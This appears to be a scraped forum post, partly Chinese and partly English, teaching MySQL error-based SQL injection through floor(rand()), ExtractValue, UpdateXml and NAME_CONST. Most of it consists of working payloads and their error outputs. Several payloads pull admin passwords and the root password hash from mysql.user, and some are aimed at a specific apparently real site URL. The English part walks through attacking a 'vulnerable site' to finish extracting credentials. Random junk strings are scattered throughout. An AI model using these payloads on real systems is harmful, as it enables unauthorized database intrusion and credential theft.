mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
3 u7 w+ s4 _  w首先进行正常查询：

mysql> select * from article where id = 1;
+—-+——-+———+
| id | title | content |
+—-+——-+———+
|  1 | test  | do it   |
+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
2 H  r) q) H  D( }$ z例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
6 Z* K* d% L, U5 @& cERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

7 p/ v- a! b. `# X) C( k
9 h+ ]3 W- G2 x( }1 h( _9 O4 E

再收集：

$ d: U9 j& u! ]http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

Erroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’
5 x3 ?) _3 F1 d3 V1 I7 w; s! G
1 h  D4 [9 ^) jhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
6 o  V# F7 s2 r7 [1 p" b& K- `5 t) g
3 R* h$ u. s" _4 |- L4 d7 cErroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′

MYSQL高版本报错注入技巧-利用NAME_CONST注入
6 w( D0 H( N6 `& h, X8 ?' vIt's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.

; l7 T& h/ Z/ V, u+ H# S
! q3 s) p& F) i$ \相关信息
( k; T8 W" c6 }1 W) R  w+ |
NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
- V3 S. o6 a8 S0 G' a0 _5 t
" n1 h! d( }% _5 C4 K8 gCode:
NAME_CONST(DATA, VALUE)
3 V, {3 s' W& _
6 i* @4 j- G$ g7 O  q) e+ fReturns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
3 t" u# N+ D# T% ~: F/ M9 S( r! Q. _) [
, [* |2 |/ I$ I# G' }SELECT NAME_CONST('TEST', 1)
6 q3 U* M! a8 z* X- K/ P
3 ]! n5 I, g3 }) a
  j/ b6 W1 ~2 Q3 A8 d
/ @& r* N# y  H|---------------|
4 p( d5 I$ c5 {) c|     TEST      |
|               |
|---------------|
|       1       |
|               |
|---------------|
6 \0 Y. q; O* Y# `% V
* E$ D' a% h, V* \! |


http://dev.mysql.com/doc/refman/5.0/en/m...name-const
Intro to MySQL Variables

# `2 [% B) _) t7 N4 r+ p: MOnce you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.

Code:
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261


( r; A$ }' }) A# Y% E


Code:
1 _/ A0 f' a* `6 |4 ?3 eand+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--
' B; a6 j9 A! N% Y2 j$ N

! x9 `4 Q% f7 }' A0 qVAR = Your MySQL variable.
% h' m; ~$ ~0 |" K: R
MySQL 5.1.3 Server System Variables
% X' U5 V! B0 p
9 ]; `" C7 d8 N% u2 R' yLet's try it out on my site..
- U9 v. U3 w2 H+ U2 |" f
# s4 _3 p& {( p$ [% x. JCode:
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--

3 H) E/ r0 A1 k* qErroruplicate column name '5.0.27-community-nt'





4 _6 L6 `7 r! x" ]/ L. @% n9 WNow I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
7 u# S& u3 y. f; ~
Data Extraction

/ d7 j+ G6 M3 lCode:
+ I* U6 j- |( G3 i3 P+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--


) b! F5 ?2 `5 \5 f) ~7 P% UWe should get a duplicate column 1 error...

( B9 V( N0 P) S" E1 rCode:
3 k) W* L( w# {$ S  Khttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--

' p6 H3 E9 n5 Q% {8 S( k4 AErroruplicate column name '1
: k( V. A6 \& C. h( r! N
/ B* Z. V. k" H2 q% p

" @- K$ n3 e' z( w
* B  n+ g  N4 F6 S' w# ]' a- u

Now let's get the tables out this bitch..

Code:
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--


: C& O" x$ q6 X& h( ?& r) FLet's see if it works here, if it does, we can go on and finish the job.

/ `/ v! k( h1 C8 T* E, T+ l+ S1 m7 RCode:
) G7 [9 j4 I) l+ O$ Nhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--


Erroruplicate column name 'com_admanage
* m2 Q4 P1 H& r7 ~


: C9 e; v2 X) W4 i; D
, y8 E; i' Y( U; ~4 R! r* G* n
# ~* Y: s7 V7 o3 U7 ~
. q, J2 P+ X% l+ d7 pNow I'm going to be lazy and use mysql.user as an example, just for the sake of time.
- m1 q! X6 p, O- j- T8 a) b) i
Let's get the columns out of the user table..

Code:
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
5 Z. w( k# K& A/ h6 R

' \8 [  t$ G6 xSo mine looks like this, and I get the duplicate column name 'Host'.

Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--
1 X; {: [6 D1 m% ?2 x" j% F
* E9 j9 s3 r' E6 _" x6 I# j" EErroruplicate column name 'Host'

. V6 V3 M# L" O

+ _2 [) Z: t4 ]  t3 y& }

2 Y: A  Q2 _* l' k
Woot, time to finish this bitch off.
: ^+ ]9 A# M7 q! J, Q0 ~; F* J
Code:
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--


3 Q" l& w5 Y6 t9 ^! }; eSo mine looks like this...

. Z6 e* W% I' o/ d3 U+ n8 bCode:
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--

Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'

6 g& h0 o9 `5 _6 ]& g5 A

1 e; x' y: g' i0 d


And there we have it, thanks for reading.